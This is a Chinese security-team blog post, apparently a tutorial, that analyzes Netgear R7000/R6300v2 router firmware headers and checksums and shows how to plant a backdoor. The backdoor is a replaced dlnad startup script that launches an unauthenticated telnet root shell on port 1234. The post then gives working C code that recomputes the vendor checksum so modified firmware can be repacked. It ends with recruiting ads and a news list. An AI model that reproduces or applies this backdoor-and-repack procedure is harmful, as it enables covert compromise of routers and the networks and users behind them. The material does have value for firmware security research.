Netgear固件分析与后门植入
本篇文章由ChaMd5安全团队IOT小组投稿,主要介绍netgear某些版本的无线路由器固件的详细格式,以及如何在固件中放置后门并进行重打包的操作,并且在最后逆向分析了官方的打包工具。
Netgear介绍
netgear意译成中文为网件,该公司长期致力于为中小规模企业用户与 SOHO 用户提供简便易用并具有强大功能的网络综合解决方案。总部设在美国加州硅谷圣克拉拉市,业务遍及世界多个国家和地区。今天要分析的就是netgear的家用无线路由器产品。
固件分析
使用binwalk提取固件
在netgear官网可以下载路由器的固件,本次分析使用的是R7000-V1.0.9.88_10.2.88.chk等多个版本的固件
binwalk -e R7000-V1.0.9.88_10.2.88.chk
固件由netgear header(0x3A字节) +TRX header(0x1c字节)+linux kernel+squashfs文件系统构成。
接下来详细介绍每一个部分的含义。
netgear header
前0x3A字节是netgear自带的header,
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 2A 23 24 5E 00 00 00 3A 01 01 00 03 1A 0A 03 16 *#$^ :
00000010 C2 70 61 44 00 00 00 00 02 24 20 00 00 00 00 00 聀aD $
00000020 C2 70 61 44 F1 AC 09 FF 55 31 32 48 33 33 32 54 聀aD瘳 U12H332T
00000030 37 38 5F 4E 45 54 47 45 41 52 78_NETGEAR
通过查看R7000,XR300的多个版本chk文件,0-8字节是不变的,从9字节开始是固件的版本号。
0x9-0x10字节是固件的版本号,对应着文件名。 0x10-0x17,0x20-0x27 是netgear的chencksum信息,具体介绍在后面说明 0x18-0x1F是固件大小,每一个chk文件大小都以0x3A结尾,所以文件大小信息的0x3A存放在0x7的位置。 0x28-0x39字节是固件的种类信息,比如同一系列R7000,这12字节就是相同的。
TRX header
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000030 48 44 52 30 00 F0 HDR0 ?
00000040 E2 01 C3 75 71 F9 00 00 01 00 1C 00 00 00 60 E5 ?胾q? `?
00000050 21 00 00 00 00 00 !
TRX是某些路由器(如linksys)和开源固件(如OpenWRT和DD-WRT)中使用的内核映像文件的格式。
TRX文件头格式如下:
struct trx_header {
uint32_t magic; /* "HDR0" */
uint32_t len; /* Length of file including header */
uint32_t crc32; /* 32-bit CRC from flag_version to end of file */
uint32_t flag_version; /* 0:15 flags, 16:31 version */
uint32_t offsets[4]; /* Offsets of partitions from start of header */
};
0x3A-0x3D magic魔数 0x3E-0x41 image size 0x42-0x45 CRC value 0x46-0x47 TRX_flag 0x48-0x49 TRX_version 0x4A-0x55 分区偏移量:loader 偏移: 0x1C, linux kernel 偏移: 0x21E560, rootfs 偏移: 0x0
修改固件
设置后门
这里设置的是一个很简单的后门,只是在路由器的自启动脚本中加入了启动telnet服务的语句
cd rootfs/usr/sbin
mv dlnad dlnadd
touch dlnad
vim dlnad
#!/bin/sh
/usr/sbin/telnetd -F -l /bin/sh -p 1234 &
/usr/sbin/dlnadd &
在1234端口开启了一个不需要密码的telnet服务
sudo chown 777 dlnad
因为netgear头部含有checksum字段,我们不知道这里的验证算法,所以修改了固件内容后需要更新header的内容,这里我采用的方法是:计算crc32校验值和长度更新TRX header,利用netgear开源工具链中的packet和compatible_*.txt工具更新 netgear header。
官方开源工具
netgear官方提供的固件编译代码
在某些版本的编译代码中含有tools工具包,里面有一个packet的打包工具,我们可以利用这个工具打包固件生成header
打包固件
脚本运行环境为:Ubuntu16.04 X64 使用的固件版本为 R6300v2-V1.0.3.2_1.0.57 直接运行packet可以看到程序的example输出
逆向packet
因为不是很了解packet参数对应的具体含义,所以我使用IDA对packet进行了逆向
程序的逻辑是先通过程序参数输入对要使用的文件名变量进行赋值,然后通过 -i [configure file path/name] 获得的cfg文件提取出固件的版本信息,这个文件对应的就是 ambitCfg.h 查看文件内容,可以看到文件中定义了固件版本
/*formal version control*/
#define AMBIT_HARDWARE_VERSION "U12H240T00"
#define AMBIT_SOFTWARE_VERSION "V1.0.3.2"
#define AMBIT_UI_VERSION "1.0.57"
#define STRING_TBL_VERSION "1.0.3.2_2.1.33.8"
如果要打包别的版本固件需要对这里的字段修改成对应固件版本的信息。
接下来就是对三个输出文件添加header,这三个输出都是采用fwrite函数,将malloc_chunk的内容输入到文件中
查看addheader函数中对malloc_chunk的引用,可以发现,修改malloc_chunk的地方只要下面的代码
memcpy(malloc_chunk, v20, v24);
memcpy((char *)malloc_chunk + v24, &s, v26);
memcpy((char *)malloc_chunk + v25, dest, v27);
v20数组中先是存储了4个字节的字符串然后拷贝进了固件的版本信息
然后拷贝了 kernel_checksum 和 rootfs_checksum 接着是对kernel文件长度和rootfs文件长度的信息,然后是rootfs_kernel_checksum,填充4字节0,加上compatible.txt里的内容,最后对整个头部再求一个checksum,将结果填充进刚才4字节0的位置
calculate_checksum
接下来分析这里的计算checksum的函数
第一次调用时a1 = 0,所以c1 = 0,c0 = 0
第二次调用时a1 = 1
这里的逻辑很简单,就是从file中每次读取一个字节的数据,然后
c0 += *(unsigned char *)(kernel_file+i);
c1 += c0;
为了验证这里的计算结果,我使用GDB调试packet 查看程序的保护措施
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开启了NX,没有地址随机化,所以调试起来很方便
设置args,gdb pakcet 后输入
set args -k R6300v2-V1.0.3.2_1.0.57.chk -b compatible_r6300v2.txt -ok kernel -oall image -or rootfs -i ambitCfg.h
在0x8048a22设置断点
可以看到 c0 = 0x6523b70c,c1 = 0x60eef274 我自己写了一个C来实现同样的效果
#include<stdio.h>
#include<stdlib.h>
int c1,c0;
int main()
{
FILE *kernel_file_fd = fopen("R6300v2-V1.0.3.2_1.0.57.chk","rb");
void *kernel_file = malloc(0x2000000);
int file_len = fread(kernel_file,1,0x2000000,kernel_file_fd);
int i;
for(i=0;i<file_len;i++){
c0 += *(unsigned char *)(kernel_file+i);
c1 += c0;
}
printf("0x%x,0x%x\n",c0,c1);
}
运行后发现计算结果一致
接下来分析a1 = 2时,主要是对c0,c1进行移位以及相加的操作,通过调试,最终结果为c0 = 0x5363,c1 = 1c30
返回值为0x1c305363
这个结果可以与固件中对应字段对应起来
完整版C的计算checksum代码如下:
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
int c1,c0;
int main()
{
//FILE *kernel_file_fd = fopen("R6300v2-V1.0.3.2_1.0.57.chk","rb");
FILE *kernel_file_fd = fopen("1","rb");
void *kernel_file = malloc(0x2000000);
int file_len = fread(kernel_file,1,0x2000000,kernel_file_fd);
int i;
for(i=0;i<file_len;i++){
c0 += *(unsigned char *)(kernel_file+i);
c1 += c0;
}
c0 = (c0 & 0x0ffff) + ((unsigned int)c0 >> 16);
c0 = ((c0 >> 16) + c0) & 0xffff;
c1 = (c1 & 0x0ffff) + ((unsigned int)c1 >> 16);
c1 = ((c1 >> 16) + c1) & 0xffff;
int checksum;
checksum = (c1 << 16) | c0;
printf("0x%x",checksum);
}
使用这个代码再计算一下 0x24-0x27位置的checksum
计算正确。
现在已经全部分析清楚了netgear固件的格式以及校验算法的原理,可以对固件进行任意的修改然后使用官方工具进行打包或者使用我上文提供的代码进行打包。
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 澳门是伟大祖国的一方宝地 7970378
- 2 女法官遇害案凶手被判死刑 7902723
- 3 日本火山喷发灰柱高达3400米 7840602
- 4 中国为全球经济增长添动能 7739933
- 5 肖战新片射雕英雄传郭靖造型曝光 7618262
- 6 大三女生练咏春一起手眼神骤变 7582518
- 7 #马斯克对特朗普政府影响有多大# 7423321
- 8 36岁女子看高血压查出怀孕34周 7337785
- 9 赵丽颖带儿子探班 7250351
- 10 女子穿和服在南京景区拍照遭怒怼 7110152